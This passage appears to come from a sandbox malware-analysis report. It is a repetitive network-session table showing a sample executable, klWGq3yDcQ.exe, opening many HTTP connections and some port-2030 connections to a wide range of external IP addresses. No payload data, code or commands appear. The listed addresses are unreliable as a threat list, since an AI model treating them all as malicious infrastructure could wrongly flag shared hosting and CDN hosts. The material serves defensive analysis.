428	192.168.2.4	63591	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	63592	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	63528	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	63507	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	63581	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	63895	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	63893	159.203.32.4	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	63894	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.4	63896	213.0.13.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.4	63922	104.200.30.31	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.4	63965	185.230.63.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.4	63912	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.4	64150	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	64151	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	64194	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.4	64274	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.4	64303	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.4	64238	66.81.203.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.4	64327	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	64310	144.202.62.131	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	64285	104.26.12.245	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	64219	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	64375	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.4	64239	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	64281	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	64272	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	64284	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	64298	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	64404	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	64408	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	64405	35.164.64.246	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	64406	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.4	64328	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.4	64609	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.4	65078	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.4	65071	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.4	65070	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.4	65121	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.4	65073	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.4	65075	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.4	65091	78.128.62.138	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.4	65207	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.4	65198	185.230.63.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.4	65421	47.246.24.211	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.4	65468	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.4	65477	104.200.30.31	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.4	49161	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.4	49162	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.4	49205	159.203.32.4	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.4	49238	185.230.63.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	65465	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.4	49181	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.4	65502	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.4	49336	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.4	49520	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.4	49680	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.4	49587	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.4	49656	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.4	49661	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.4	49857	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.4	49830	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.4	49761	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.4	50016	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.4	49973	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.4	49829	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.4	50017	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.4	50145	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.4	50312	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.4	50144	202.226.37.158	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.4	50472	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.4	50663	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.4	50721	185.230.63.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.4	50815	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.4	50820	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.4	50922	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.4	50801	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.4	50929	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.4	50817	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.4	51006	185.230.63.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.4	50824	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.4	51019	213.0.13.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.4	51025	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.4	51083	159.203.32.4	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.4	51101	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.4	51103	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.4	51104	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.4	51114	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.4	51184	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.4	51196	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.4	51256	185.230.63.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.4	51211	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.4	51202	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.4	51327	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.4	51341	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.4	51379	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.4	51180	3.111.240.6	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.4	51449	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.4	51727	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.4	51658	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.4	52076	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.4	52060	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.4	52184	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.4	52182	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.4	52247	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.4	52295	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.4	52260	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.4	52272	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.4	52291	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.4	52328	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.4	52338	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.4	52356	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.4	52382	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.4	52462	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.4	52404	120.88.73.238	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.4	52480	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.4	52468	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.4	52502	144.202.62.131	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.4	52532	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.4	52570	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.4	52562	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.4	52568	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.4	52732	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.4	52896	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.4	52700	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.4	52698	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.4	52704	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.4	52942	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.4	52848	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.4	52900	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.4	53069	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.4	53079	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.4	53107	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.4	53188	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.4	53219	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.4	53230	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.4	53306	120.88.73.238	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.4	55502	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.4	55580	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.4	55648	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.4	55705	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
